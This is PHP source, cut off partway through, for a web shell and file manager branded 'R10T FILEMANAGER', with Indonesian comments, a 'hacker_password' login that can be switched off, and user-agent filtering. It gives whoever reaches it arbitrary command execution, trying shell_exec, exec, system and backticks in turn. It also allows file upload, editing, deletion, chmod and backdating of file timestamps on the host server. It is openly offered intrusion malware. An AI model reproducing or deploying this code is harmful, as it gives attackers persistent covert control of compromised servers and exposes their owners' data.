true,
'windows' => true,
'mac' => false,
'android' => false,
'iphone' => false
];
$demo_mode = false;
$login = true; // <-- GANTI NIH: false = langsung masuk, true = minta login
?>
$status) {
if ($status && strpos($user_agent, $agent) !== false) {
$is_allowed = true;
break;
}
}
if (!$is_allowed) {
die("ACCESS DENIED");
}
if (isset($_POST['hacker_password'])) {
if (password_verify($_POST['hacker_password'], $hashed_password)) {
$_SESSION['hacker_logged_in'] = true;
$_SESSION['hacker_login_time'] = time();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
} else {
$login_error = "USE YOUR FUCKIN BRAIN HOMIES :)";
}
}
?>
⚡ R10T FILEMANAGER ⚡
EXIT
';
// Handle logout
if (isset($_GET['logout'])) {
session_destroy();
header("Location: " . $_SERVER['PHP_SELF']);
exit;
}
// ============================================
// FILE MANAGER + WEBSHELL - COMPLETE VERSION
// ============================================
// DENGAN SESSION DIRECTORY TERPISAH UNTUK FM DAN TERMINAL
// ============================================
// SUPPORT WINDOWS PATH (C:\, D:\, dll)
// ============================================
// ============================================
// DEMO MODE - GLOBAL SWITCH
// ============================================
$demo_message = '🔒 DEMO MODE: Ini Demo Mode Mohon Pengertiannya';
error_reporting(0);
@set_time_limit(0);
session_start();
// Deteksi OS
$isWindows = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN');
$directorySeparator = $isWindows ? '\\' : '/';
// Fungsi untuk normalisasi path Windows
function normalizePath($path, $isWindows) {
if ($isWindows) {
// Ganti forward slash dengan backslash untuk Windows
$path = str_replace('/', '\\', $path);
// Handle drive letters (C:, D:, dll)
if (preg_match('/^[a-zA-Z]:\\\\?$/', $path)) {
return rtrim($path, '\\') . '\\';
}
// Handle root Windows (C:\, D:\)
if (preg_match('/^[a-zA-Z]:\\\\$/', $path)) {
return $path;
}
// Pastikan tidak ada double backslash
$path = preg_replace('/\\\\+/', '\\', $path);
}
return $path;
}
// Fungsi untuk mendapatkan realpath yang support Windows
function getRealPath($path, $isWindows) {
if ($isWindows) {
$path = normalizePath($path, $isWindows);
// Handle Windows drive roots
if (preg_match('/^[a-zA-Z]:\\\\$/', $path)) {
return $path;
}
// Coba dengan realpath
$real = realpath($path);
if ($real !== false) {
return normalizePath($real, $isWindows);
}
return $path;
} else {
return realpath($path) ?: $path;
}
}
// Fungsi untuk menggabungkan path dengan separator yang benar
function joinPaths($base, $path, $isWindows) {
if ($isWindows) {
$base = rtrim($base, '\\/');
$path = ltrim($path, '\\/');
return $base . '\\' . $path;
} else {
$base = rtrim($base, '/');
$path = ltrim($path, '/');
return $base . '/' . $path;
}
}
// Default directory (script directory)
$scriptDir = realpath(__DIR__) ?: __DIR__;
if ($isWindows) {
$scriptDir = normalizePath($scriptDir, $isWindows);
}
// DIRECTORY UNTUK FILE MANAGER
if (!isset($_SESSION['fm_current_dir']) || !is_dir($_SESSION['fm_current_dir'])) {
$_SESSION['fm_current_dir'] = $scriptDir;
}
// DIRECTORY UNTUK TERMINAL (TERPISAH)
if (!isset($_SESSION['terminal_current_dir']) || !is_dir($_SESSION['terminal_current_dir'])) {
$_SESSION['terminal_current_dir'] = $scriptDir;
}
// Update FM directory jika ada parameter fm_dir
if (isset($_GET['fm_dir'])) {
$newDir = urldecode($_GET['fm_dir']);
$newDir = getRealPath($newDir, $isWindows);
if (is_dir($newDir)) {
$_SESSION['fm_current_dir'] = $newDir;
setcookie('fm_current_dir', $newDir, time() + (86400 * 30), "/");
}
}
// Update Terminal directory jika ada parameter terminal_dir
if (isset($_GET['terminal_dir'])) {
$newDir = urldecode($_GET['terminal_dir']);
$newDir = getRealPath($newDir, $isWindows);
if (is_dir($newDir)) {
$_SESSION['terminal_current_dir'] = $newDir;
setcookie('terminal_current_dir', $newDir, time() + (86400 * 30), "/");
}
}
function buildBreadcrumbs($dir, $isWindows) {
$dir = normalizePath($dir, $isWindows);
if ($isWindows) {
// Windows breadcrumbs dengan HOME button
$html = [];
// Script directory untuk home
$scriptOriginalDir = normalizePath(realpath(__DIR__) ?: __DIR__, true);
// HOME button
$html[] = '
';
// Drive root (C:\, D:\ etc)
if (preg_match('/^([a-zA-Z]):\\\\$/', $dir, $matches)) {
$html[] = '' . htmlspecialchars($dir) . '';
return implode(' ', $html);
}
// Split path
$parts = explode('\\', trim($dir, '\\'));
$driveLetter = $parts[0]; // C:, D: etc
$path = '';
// Drive letter sebagai root
$html[] = '' . htmlspecialchars($driveLetter) . '';
// Folder/folder selanjutnya
for ($i = 1; $i < count($parts); $i++) {
$path .= '\\' . $parts[$i];
$fullPath = $driveLetter . $path;
$html[] = '\\';
$html[] = ''
. htmlspecialchars($parts[$i]) .
'';
}
return implode('', $html);
} else {
// Linux breadcrumbs (existing code)
$currentDir = realpath($dir) ?: $dir;
$scriptOriginalDir = realpath(__DIR__) ?: __DIR__;
$html = [];
$html[] = '
';
$html[] = '/';
if ($currentDir === '/' || $currentDir === '') {
return implode(' ', $html);
}
$parts = array_filter(explode('/', trim($currentDir, '/')));
$path = '';
$isFirst = true;
foreach ($parts as $part) {
$path .= '/' . $part;
if (!$isFirst) {
$html[] = '/';
}
$html[] = ''
. htmlspecialchars($part) .
'';
$isFirst = false;
}
return implode('', $html);
}
}
/**
* Get absolute path untuk File Manager
*/
function getFMAbsolutePath($path, $isWindows) {
$currentDir = $_SESSION['fm_current_dir'] ?? __DIR__;
if ($isWindows) {
$currentDir = normalizePath($currentDir, $isWindows);
}
if (empty($path) || $path == '.') {
return getRealPath($currentDir, $isWindows) ?: $currentDir;
}
if ($path == '..') {
$parent = dirname($currentDir);
return getRealPath($parent, $isWindows) ?: $parent;
}
$path = urldecode($path);
$path = str_replace("\0", "", $path);
if ($isWindows) {
// Handle absolute Windows paths
if (preg_match('/^[a-zA-Z]:\\\\/', $path)) {
return getRealPath($path, $isWindows);
}
// Relative path
$fullPath = rtrim($currentDir, '\\') . '\\' . ltrim($path, '\\');
return getRealPath($fullPath, $isWindows);
} else {
// Linux path handling (existing code)
if ($path[0] !== '/') {
$path = rtrim($currentDir, '/') . '/' . ltrim($path, '/');
}
$real = realpath($path);
return $real ?: $path;
}
}
/**
* Get absolute path untuk Terminal (TERPISAH)
*/
function getTerminalAbsolutePath($path, $isWindows) {
$currentDir = $_SESSION['terminal_current_dir'] ?? __DIR__;
if ($isWindows) {
$currentDir = normalizePath($currentDir, $isWindows);
}
if (empty($path) || $path == '.') {
return getRealPath($currentDir, $isWindows) ?: $currentDir;
}
if ($path == '..') {
$parent = dirname($currentDir);
return getRealPath($parent, $isWindows) ?: $parent;
}
$path = urldecode($path);
$path = str_replace("\0", "", $path);
if ($isWindows) {
if (preg_match('/^[a-zA-Z]:\\\\/', $path)) {
return getRealPath($path, $isWindows);
}
$fullPath = rtrim($currentDir, '\\') . '\\' . ltrim($path, '\\');
return getRealPath($fullPath, $isWindows);
} else {
if ($path[0] !== '/') {
$path = rtrim($currentDir, '/') . '/' . ltrim($path, '/');
}
$real = realpath($path);
return $real ?: $path;
}
}
/**
* Get file icon
*/
function getFileIcon($name, $isDir, $ext = '') {
if ($isDir) return '';
if ($name === '.htaccess') return '';
if ($name === '.env') return '';
if ($name === 'Dockerfile') return '';
if ($name === 'Makefile') return '';
if ($name === 'composer.json' || $name === 'composer.lock') return '';
if ($name === 'package.json' || $name === 'package-lock.json') return '';
if ($name === 'yarn.lock') return '';
$ext = strtolower($ext);
$icons = [
// Web & Code
'php' => 'fab fa-php text-purple-500',
'js' => 'fab fa-js text-yellow-400',
'ts' => 'fab fa-js text-blue-400',
'jsx' => 'fab fa-react text-cyan-400',
'tsx' => 'fab fa-react text-cyan-400',
'vue' => 'fab fa-vuejs text-green-400',
'css' => 'fab fa-css3-alt text-blue-400',
'scss|sass|less' => 'fab fa-sass text-pink-400',
'html|htm' => 'fab fa-html5 text-orange-500',
'xml|xsd|xslt' => 'fas fa-code text-blue-400',
'json' => 'fas fa-brackets-curly text-yellow-400',
'yaml|yml' => 'fas fa-code-branch text-green-400',
// Languages
'py' => 'fab fa-python text-blue-300',
'rb' => 'fas fa-gem text-red-400',
'go' => 'fab fa-golang text-blue-400',
'rs' => 'fas fa-crab text-orange-400',
'c|cpp|h|hpp' => 'fas fa-microchip text-blue-400',
'java' => 'fab fa-java text-red-400',
'kt|kts' => 'fab fa-kotlin text-purple-400',
'swift' => 'fab fa-swift text-orange-400',
'sql' => 'fas fa-database text-orange-400',
'r' => 'fas fa-chart-line text-blue-400',
'lua' => 'fas fa-gamepad text-blue-400',
'pl|pm' => 'fas fa-code text-blue-400',
'ex|exs' => 'fas fa-code text-purple-400',
// Config & System
'htaccess|htpasswd' => 'fas fa-shield-alt text-red-400',
'ini|conf|cfg' => 'fas fa-sliders-h text-gray-400',
'env' => 'fas fa-secret text-green-400',
'xml' => 'fas fa-code text-blue-400',
'toml' => 'fas fa-cog text-gray-400',
// Images
'jpg|jpeg|png|gif|bmp|svg|webp|ico|tiff|heic' => 'fas fa-image text-green-500',
// Archives
'zip|rar|7z|tar|gz|bz2|xz|tgz|zst' => 'fas fa-file-archive text-red-500',
// Documents
'pdf' => 'fas fa-file-pdf text-red-400',
'doc|docx' => 'fas fa-file-word text-blue-500',
'xls|xlsx|csv' => 'fas fa-file-excel text-green-400',
'ppt|pptx' => 'fas fa-file-powerpoint text-orange-400',
// Media
'mp3|wav|ogg|flac|aac|m4a' => 'fas fa-file-audio text-purple-400',
'mp4|avi|mov|mkv|wmv|flv|webm|mpeg' => 'fas fa-file-video text-purple-300',
// Text & Logs
'txt|log|md|markdown' => 'fas fa-file-alt text-gray-400',
'csv' => 'fas fa-table text-green-400',
// Executables & Scripts
'sh|bash|zsh|fish' => 'fas fa-terminal text-green-400',
'bat|cmd|ps1' => 'fas fa-windows text-blue-400',
'vbs' => 'fas fa-code text-blue-400',
'exe|msi' => 'fas fa-cog text-red-500',
'dll|sys|so|dylib' => 'fas fa-cogs text-red-400',
'appimage' => 'fas fa-box text-green-400',
'deb' => 'fab fa-ubuntu text-orange-400',
'rpm' => 'fab fa-redhat text-red-400',
// Frameworks & Tools
'dockerfile' => 'fab fa-docker text-blue-400',
'makefile' => 'fas fa-tasks text-purple-400',
'dockerignore' => 'fab fa-docker text-gray-400',
'gitignore|gitattributes' => 'fab fa-git-alt text-orange-400',
// Certificates & Keys
'pem|crt|key|cer' => 'fas fa-key text-yellow-400',
'pub' => 'fas fa-key text-blue-400',
// Fonts
'ttf|otf|woff|woff2|eot' => 'fas fa-font text-gray-400',
// CAD & 3D
'stl|obj|fbx|blend|3ds' => 'fas fa-cube text-blue-400',
// Database
'sqlite|db' => 'fas fa-database text-green-400',
'sql' => 'fas fa-database text-orange-400',
// Backup
'bak|backup' => 'fas fa-history text-gray-400'
];
foreach ($icons as $pattern => $icon) {
$exts = explode('|', $pattern);
if (in_array($ext, $exts)) {
return '';
}
}
// Default icon untuk unknown file
return '';
}
/**
* Format file size
*/
function formatSize($bytes) {
if ($bytes == 0) return '0 B';
$units = ['B', 'KB', 'MB', 'GB', 'TB'];
$i = floor(log($bytes, 1024));
return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
}
/**
* Change file permissions (chmod) - Windows friendly
*/
function changePermissions($path, $mode) {
if (!file_exists($path)) return false;
// Pada Windows, chmod memiliki keterbatasan
if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
// Di Windows, kita hanya bisa mengubah read-only attribute
if ($mode == '0444' || $mode == '444') {
return @chmod($path, 0444);
} else {
return @chmod($path, 0666);
}
}
if (is_string($mode) && preg_match('/^[0-7]{3,4}$/', $mode)) {
$mode = octdec($mode);
}
return @chmod($path, $mode);
}
/**
* Change file timestamp (touch)
*/
function changeTimestamp($path, $timestamp) {
if (!file_exists($path)) return false;
if (is_string($timestamp)) {
$timestamp = strtotime($timestamp);
}
return @touch($path, $timestamp, $timestamp);
}
/**
* Get upload error message
*/
function getUploadError($errorCode) {
$errors = [
UPLOAD_ERR_OK => 'No error',
UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE in form',
UPLOAD_ERR_PARTIAL => 'File partially uploaded',
UPLOAD_ERR_NO_FILE => 'No file uploaded',
UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
UPLOAD_ERR_CANT_WRITE => 'Failed to write to disk',
UPLOAD_ERR_EXTENSION => 'PHP extension stopped upload'
];
return $errors[$errorCode] ?? 'Unknown upload error';
}
/**
* Recursive delete function - Windows friendly
*/
function deleteRecursive($dir, $isWindows) {
if (!file_exists($dir)) return true;
if (!is_dir($dir)) {
if ($isWindows) {
@chmod($dir, 0666);
}
return @unlink($dir);
}
$items = @scandir($dir);
if ($items === false) return false;
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $dir . '/' . $item;
if ($isWindows) {
$path = str_replace('/', '\\', $path);
}
if (is_dir($path)) {
if (!deleteRecursive($path, $isWindows)) return false;
} else {
if ($isWindows) {
@chmod($path, 0666);
}
if (!@unlink($path)) return false;
}
}
if ($isWindows) {
@chmod($dir, 0777);
}
return @rmdir($dir);
}
/**
* Add folder recursively to zip
*/
function addFolderToZip($folder, &$zipFile, $zipPath) {
if (!is_dir($folder)) return;
$items = @scandir($folder);
if ($items === false) return;
foreach ($items as $item) {
if ($item == '.' || $item == '..') continue;
$path = $folder . '/' . $item;
$localPath = $zipPath . $item;
if (is_dir($path)) {
$zipFile->addEmptyDir($localPath);
addFolderToZip($path, $zipFile, $localPath . '/');
} else {
$zipFile->addFile($path, $localPath);
}
}
}
/**
* Execute command di Windows
*/
function executeWindowsCommand($command, $path) {
$output = '';
$return_var = 0;
// Handle cd command untuk Windows
if (preg_match('/^\s*cd\s+(.+)$/', $command, $matches)) {
$new_dir = trim($matches[1], " \t\n\r\0\x0B\"'");
if ($new_dir === '~' || $new_dir === '~/' || $new_dir === '$HOME') {
$new_dir = getenv('USERPROFILE') ?: 'C:\\';
} elseif ($new_dir === '-' || $new_dir === '..') {
// Handle cd ..
} else {
if (!preg_match('/^[a-zA-Z]:\\\\/', $new_dir)) {
$new_dir = rtrim($path, '\\') . '\\' . ltrim($new_dir, '\\');
}
$new_dir = str_replace('/', '\\', $new_dir);
$real = realpath($new_dir);
if ($real && is_dir($real)) {
return ['output' => '', 'dir' => $real, 'changed' => true];
} else {
return ['output' => "cd: {$matches[1]}: No such file or directory\n", 'changed' => false];
}
}
}
// Untuk command Windows, gunakan cmd /c
if (strpos($command, 'dir') === 0) {
$command = str_replace('dir', 'dir', $command);
}
$fullCommand = 'cmd /c "' . $command . '" 2>&1';
if (function_exists('shell_exec') && !in_array('shell_exec', explode(',', ini_get('disable_functions')))) {
$output = @shell_exec($fullCommand);
}
if (empty($output) && function_exists('exec')) {
$outputArray = [];
@exec($fullCommand, $outputArray, $return_var);
$output = implode("\n", $outputArray);
}
if (empty($output) && function_exists('system')) {
ob_start();
@system($fullCommand, $return_var);
$output = ob_get_clean();
}
if (empty($output)) {
$output = @`$fullCommand`;
}
if (trim($output) === '') {
$output = "(no output)";
}
return ['output' => $output, 'dir' => $path, 'changed' => false, 'return_var' => $return_var];
}
// Handle API requests
if (isset($_GET['action'])) {
header('Content-Type: application/json');
$action = $_GET['action'];
// DAFTAR ACTION YANG DIBLOCK DI DEMO MODE
$write_actions = [
'download', 'view', 'save', 'delete', 'deletemultiple',
'rename', 'mkdir', 'touch', 'chmod', 'touchdate', 'upload',
'zip', 'unzip', 'execute', 'getinfo', 'move', 'copy'
];
// CEK DEMO MODE
if ($demo_mode && in_array($action, $write_actions)) {
echo json_encode([
'error' => $demo_message,
'demo_mode' => true
]);
exit;
}
switch ($action) {
// LIST DIRECTORY (FILE MANAGER)
case 'list':
$dir = $_GET['dir'] ?? $_SESSION['fm_current_dir'];
$path = getFMAbsolutePath($dir, $isWindows);
if (!$path || !is_dir($path)) {
echo json_encode(['error' => 'Invalid directory']);
exit;
}
// Update FM session
$_SESSION['fm_current_dir'] = $path;
setcookie('fm_current_dir', $path, time() + (86400 * 30), "/");
$files = @scandir($path);
if ($files === false) {
echo json_encode(['error' => 'Cannot scan directory']);
exit;
}
$items = [];
// Parent directory
if ($path != '/' && dirname($path) != $path) {
$parent = dirname($path);
if ($isWindows) {
$parent = normalizePath($parent, $isWindows);
}
$items[] = [
'name' => '..',
'path' => $parent,
'type' => 'dir',
'size' => 0,
'size_fmt' => '-',
'modified' => @filemtime($parent) ?: time(),
'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', @fileperms($parent)), -4),
'icon' => '',
'writable' => @is_writable($parent)
];
}
foreach ($files as $file) {
if ($file == '.' || $file == '..') continue;
$fullPath = $path . ($isWindows ? '\\' : '/') . $file;
$isDir = @is_dir($fullPath);
$size = $isDir ? 0 : (@filesize($fullPath) ?: 0);
$ext = $isDir ? '' : strtolower(pathinfo($file, PATHINFO_EXTENSION));
$items[] = [
'name' => $file,
'path' => $fullPath,
'type' => $isDir ? 'dir' : 'file',
'size' => $size,
'size_fmt' => $isDir ? '-' : formatSize($size),
'modified' => @filemtime($fullPath) ?: time(),
'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', @fileperms($fullPath)), -4),
'icon' => getFileIcon($file, $isDir, $ext),
'ext' => $ext,
'writable' => @is_writable($fullPath)
];
}
// Sort
usort($items, function($a, $b) {
if ($a['name'] == '..') return -1;
if ($b['name'] == '..') return 1;
if ($a['type'] == $b['type']) return strcasecmp($a['name'], $b['name']);
return $a['type'] == 'dir' ? -1 : 1;
});
// Disk info
$total = @disk_total_space($path);
$free = @disk_free_space($path);
$used = $total ? $total - $free : 0;
$percent = $total ? round(($used / $total) * 100, 2) : 0;
echo json_encode([
'success' => true,
'path' => $path,
'breadcrumbs' => buildBreadcrumbs($path, $isWindows),
'files' => $items,
'disk' => [
'total' => $total ? formatSize($total) : 'N/A',
'used' => $total ? formatSize($used) : 'N/A',
'free' => $free ? formatSize($free) : 'N/A',
'percent' => $percent
]
]);
break;
// DOWNLOAD FILE
case 'download':
$file = $_GET['file'] ?? '';
$path = getFMAbsolutePath($file, $isWindows);
if (!$path || !is_file($path)) {
header('HTTP/1.1 404 Not Found');
exit;
}
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="' . basename($path) . '"');
header('Content-Length: ' . filesize($path));
readfile($path);
exit;
// VIEW FILE
case 'view':
$file = $_GET['file'] ?? '';
$raw = isset($_GET['raw']) && $_GET['raw'] == '1';
$path = getFMAbsolutePath($file, $isWindows);
if (!$path || !is_file($path)) {
echo json_encode(['error' => 'File not found']);
exit;
}
$ext = strtolower(pathinfo($path, PATHINFO_EXTENSION));
$size = filesize($path);
$isText = false;
$content = '';
$isBinary = false;
// Text extensions
$textExts = [
'txt', 'php', 'js', 'css', 'html', 'htm', 'json', 'xml', 'yml', 'yaml',
'md', 'sql', 'log', 'sh', 'bash', 'zsh', 'fish', 'py', 'rb', 'go', 'rs',
'c', 'cpp', 'h', 'hpp', 'java', 'kt', 'kts', 'swift', 'pl', 'pm', 'lua',
'env', 'htaccess', 'htpasswd', 'ini', 'conf', 'cfg', 'toml', 'gitignore',
'dockerignore', 'dockerfile', 'makefile', 'csv', 'ts', 'tsx', 'jsx', 'vue',
'scss', 'sass', 'less', 'bat', 'cmd', 'ps1', 'vbs', 'r', 'sqlite', 'db',
'css', 'js', 'xml', 'svg', 'map'
];
// Image extensions
$imageExts = ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'svg', 'webp', 'ico', 'tiff', 'heic'];
// Check if text file
if (in_array($ext, $textExts) || $raw) {
$isText = true;
if ($size > 50 * 1024 * 1024) { // Max 50MB untuk edit
$content = "// File too large (" . formatSize($size) . ")\n// Max editable size: 50MB\n// Use download to get full file";
} else {
$content = @file_get_contents($path);
if ($content === false) {
$content = "// Failed to read file content";
} elseif (empty($content)) {
$content = "";
}
// Untuk binary file yang dibuka sebagai raw, kita tetap tampilkan as-is
// Tapi akan di-escape di frontend
}
}
// Check if image
elseif (in_array($ext, $imageExts)) {
$isText = false;
$isBinary = false;
}
// Binary file - bisa dibuka sebagai raw text
else {
$isBinary = true;
$isText = true; // Kita treat sebagai text untuk editing raw
if ($size > 10 * 1024 * 1024) { // Max 10MB untuk binary edit
$content = "// Binary file too large (" . formatSize($size) . ")\n// Max editable size: 10MB\n// Use download to get full file\n\n";
$content .= "// File info:\n";
$content .= "// Name: " . basename($path) . "\n";
$content .= "// Size: " . formatSize($size) . "\n";
$content .= "// Extension: .$ext\n";
$content .= "// Type: Binary file - EDIT AT YOUR OWN RISK!\n\n";
$content .= "// WARNING: Editing binary files can corrupt them!\n";
$content .= "// Only edit if you know what you're doing.\n\n";
$content .= "// Use the Download button to get the original file";
} else {
$fileContent = @file_get_contents($path);
if ($fileContent !== false) {
// Tampilkan raw content untuk binary file (bisa di-edit)
$content = $fileContent;
} else {
$content = "// Cannot read binary file content\n// Use Download button to get the file";
}
}
}
echo json_encode([
'success' => true,
'path' => $path,
'name' => basename($path),
'is_text' => $isText,
'is_image' => in_array($ext, $imageExts),
'is_binary' => $isBinary,
'size' => formatSize($size),
'permissions' => $isWindows ? 'rwx' : substr(sprintf('%o', fileperms($path)), -4),
'modified' => filemtime($path),
'content' => $content,
'ext' => $ext,
'can_edit' => true // Semua file bisa diedit
]);
break;
// SAVE FILE
case 'save':
$file = $_POST['file'] ?? '';
$content = $_POST['content'] ?? '';
$path = getFMAbsolutePath($file, $isWindows);
if (!$path) {
echo json_encode(['error' => 'Invalid path']);
exit;
}
if (@file_put_contents($path, $content) !== false) {
echo json_encode(['success' => true]);
} else {
echo json_encode(['error' => 'Failed to save']);
}
break;
// DELETE (SINGLE FILE/FOLDER)
case 'delete':
$target = $_POST['path'] ?? '';
$path = getFMAbsolutePath($target, $isWindows);
if (!$path) {
echo json_encode(['error' => 'Invalid path']);
exit;
}
$success = false;
if (is_file($path)) {
if ($isWindows) {
@chmod($path, 0666);
}
$success = @unlink($path);
} elseif (is_dir($path)) {
$success = deleteRecursive($path, $isWindows);
}
if ($success) {
echo json_encode(['success' => true]);
} else {
echo json_encode(['error' => 'Delete failed']);
}
break;
// DELETE MULTIPLE
case 'deletemultiple':
$targets = isset($_POST['paths']) ? json_decode($_POST['paths'], true) : [];
if (empty($targets)) {
echo json_encode(['error' => 'No files selected']);
exit;
}
$results = [
'success' => 0,
'failed' => 0,
'errors' => []
];
foreach ($targets as $target) {
$path = getFMAbsolutePath($target, $isWindows);
if (!$path) {
$results['failed']++;
$results['errors'][] = "Invalid path: $target";
continue;
}
if (is_file($path)) {
if ($isWindows) {
@chmod($path, 0666);
}
if (@unlink($path)) {
$results['success']++;
} else {
$results['failed']++;
$results['errors'][] = "Failed to delete: " . basename($path);
}
} elseif (is_dir($path)) {
if (deleteRecursive($path, $isWindows)) {
$results['success']++;
} else {
$results['failed']++;
$results['errors'][] = "Failed to delete folder: " . basename($path);
}
}
}
echo json_encode([
'success' => $results['success'] > 0,
'results' => $results,
'message' => "Deleted {$results['success']} items" .
($results['failed'] > 0 ? ", {$results['failed']} failed" : "")
]);
break;
// RENAME
case 'rename':
$old = $_POST['old'] ?? '';
$new = $_POST['new'] ?? '';
$oldPath = getFMAbsolutePath($old, $isWindows);
$dir = dirname($oldPath);
$newPath = $dir . ($isWindows ? '\\' : '/') . $new;
if (!$oldPath || file_exists($newPath)) {
echo json_encode(['error' => 'Invalid path or name exists']);
exit;
}
if (@rename($oldPath, $newPath)) {
echo json_encode(['success' => true]);
} else {
echo json_encode(['error' => 'Rename failed']);
}
break;
// CREATE FOLDER
case 'mkdir':
$dir = $_POST['dir'] ?? '';
$name = $_POST['name'] ?? '';
$path = getFMAbsolutePath($dir, $isWindows);
$newPath = $path . ($isWindows ? '\\' : '/') . $name;
if (!$path || file_exists($newPath)) {
echo json_encode(['error' => 'Invalid path or exists']);
exit;
}
if (@mkdir($newPath, 0755)) {
echo json_encode(['success' => true]);
} else {
echo json_encode(['error' => 'Create failed']);
}
break;
// CREATE FILE (TOUCH)
case 'touch':
$dir = $_POST['dir'] ?? '';
$name = $_POST['name'] ?? '';
$path = getFMAbsolutePath($dir, $isWindows);
$newPath = $path . ($isWindows ? '\\' : '/') . $name;
if (!$path || file_exists($newPath)) {
echo json_encode(['error' => 'Invalid path or file exists']);
exit;
}
if (@touch($newPath)) {
echo json_encode(['success' => true]);
} else {
echo json_encode(['error' => 'Create failed']);
}
break;
// CHANGE PERMISSIONS (CHMOD)
case 'chmod':
$target = $_POST['path'] ?? '';
$mode = $_POST['mode'] ?? '';
$path = getFMAbsolutePath($target, $isWindows);
if (!$path || !file_exists($path)) {
echo json_encode(['error' => 'Invalid path']);
exit;
}
if (changePermissions($path, $mode)) {
echo json_encode(['success' => true]);
} else {
echo json_encode(['error' => 'Change permissions failed']);
}
break;
// CHANGE TIMESTAMP (TOUCH DATE)
case 'touchdate':
$target = $_POST['path'] ?? '';
$date = $_POST['date'] ?? '';
$path = getFMAbsolutePath($target, $isWindows);
if (!$path || !file_exists($path)) {
echo json_encode(['error' => 'Invalid path']);
exit;
}
if (changeTimestamp($path, $date)) {
echo json_encode(['success' => true]);
} else {
echo json_encode(['error' => 'Change timestamp failed']);
}
break;
// UPLOAD - SUPPORT MULTIPLE FILES
case 'upload':
$dir = $_POST['dir'] ?? '';
$path = getFMAbsolutePath($dir, $isWindows);
if (!$path || !is_dir($path)) {
echo json_encode(['error' => 'Invalid directory']);
exit;
}
if (!isset($_FILES['file'])) {
echo json_encode(['error' => 'No file uploaded']);
exit;
}
$results = [
'success' => 0,
'failed' => 0,
'errors' => [],
'uploaded' => []
];
$files = $_FILES['file'];
if (!is_array($files['name'])) {
$files = [
'name' => [$files['name']],
'type' => [$files['type']],
'tmp_name' => [$files['tmp_name']],
'error' => [$files['error']],
'size' => [$files['size']]
];
}
$fileCount = count($files['name']);
for ($i = 0; $i < $fileCount; $i++) {
$fileName = basename($files['name'][$i]);
$fileTmp = $files['tmp_name'][$i];
$fileError = $files['error'][$i];
$fileSize = $files['size'][$i];
if ($fileError !== UPLOAD_ERR_OK) {
$results['failed']++;
$errorMsg = getUploadError($fileError);
$results['errors'][] = "{$fileName}: {$errorMsg}";
continue;
}
$maxSize = 100 * 1024 * 1024;
if ($fileSize > $maxSize) {
$results['failed']++;
$results['errors'][] = "{$fileName}: File too large (max 100MB)";
continue;
}
$safeFileName = preg_replace('/[^\w\.\-]/', '_', $fileName);
$dest = $path . ($isWindows ? '\\' : '/') . $safeFileName;
$counter = 1;
$originalName = $safeFileName;
while (file_exists($dest)) {
$info = pathinfo($originalName);
$safeFileName = $info['filename'] . '_' . $counter . '.' . ($info['extension'] ?? '');
$dest = $path . ($isWindows ? '\\' : '/') . $safeFileName;
$counter++;
}
if (@move_uploaded_file($fileTmp, $dest)) {
$results['success']++;
$results['uploaded'][] = $safeFileName;
@chmod($dest, 0644);
} else {
$results['failed']++;
$results['errors'][] = "Failed to upload '{$fileName}'";
}
}
if ($results['success'] > 0) {
echo json_encode([
'success' => true,
'message' => "Uploaded {$results['success']} file(s)" .
($results['failed'] > 0 ? ", {$results['failed']} failed" : ""),
'results' => $results
]);
} else {
echo json_encode([
'error' => 'Upload failed: ' . implode(', ', array_slice($results['errors'], 0, 3)),
'results' => $results
]);
}
break;
// ZIP
case 'zip':
$targets = isset($_POST['targets']) ? json_decode($_POST['targets'], true) : [];
$dir = $_POST['dir'] ?? '';
$name = $_POST['name'] ?? 'archive.zip';
$path = getFMAbsolutePath($dir, $isWindows);
if (!$path || !is_dir($path)) {
echo json_encode(['error' => 'Invalid directory']);
exit;
}
if (!class_exists('ZipArchive')) {
echo json_encode(['error' => 'ZipArchive not available']);
exit;
}
$zipPath = $path . ($isWindows ? '\\' : '/') . $name;
$zip = new ZipArchive();
if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) !== true) {
echo json_encode(['error' => 'Cannot create zip']);
exit;
}
foreach ($targets as $target) {
$absPath = getFMAbsolutePath($target, $isWindows);
if (!$absPath) continue;
if (is_file($absPath)) {
$zip->addFile($absPath, basename($absPath));
} elseif (is_dir($absPath)) {
$zip->addEmptyDir(basename($absPath));
addFolderToZip($absPath, $zip, basename($absPath) . '/');
}
}
$zip->close();
echo json_encode(['success' => true, 'archive' => $name]);
break;
// MOVE FILES/FOLDERS
case 'move':
$sources = isset($_POST['sources']) ? json_decode($_POST['sources'], true) : [];
$destination = $_POST['destination'] ?? '';
if (empty($sources)) {
echo json_encode(['error' => 'No sources specified']);
exit;
}
$destPath = getFMAbsolutePath($destination, $isWindows);
if (!$destPath || !is_dir($destPath)) {
echo json_encode(['error' => 'Destination is not a valid directory']);
exit;
}
$results = [
'success' => 0,
'failed' => 0,
'errors' => []
];
foreach ($sources as $source) {
$srcPath = getFMAbsolutePath($source, $isWindows);
if (!$srcPath) {
$results['failed']++;
$results['errors'][] = "Invalid source: $source";
continue;
}
$baseName = basename($srcPath);
$destFullPath = $destPath . ($isWindows ? '\\' : '/') . $baseName;
// Handle conflict - add number if exists
$counter = 1;
$originalDest = $destFullPath;
while (file_exists($destFullPath)) {
$info = pathinfo($originalDest);
$newName = $info['filename'] . '_' . $counter . (isset($info['extension']) ? '.' . $info['extension'] : '');
$destFullPath = $destPath . ($isWindows ? '\\' : '/') . $newName;
$counter++;
}
if (@rename($srcPath, $destFullPath)) {
$results['success']++;
} else {
$results['failed']++;
$results['errors'][] = "Failed to move: $baseName";
}
}
echo json_encode([
'success' => $results['success'] > 0,
'results' => $results,
'message' => "Moved {$results['success']} item(s)" .
($results['failed'] > 0 ? ", {$results['failed']} failed" : "")
]);
break;
// COPY FILES/FOLDERS
case 'copy':
$sources = isset($_POST['sources']) ? json_decode($_POST['sources'], true) : [];
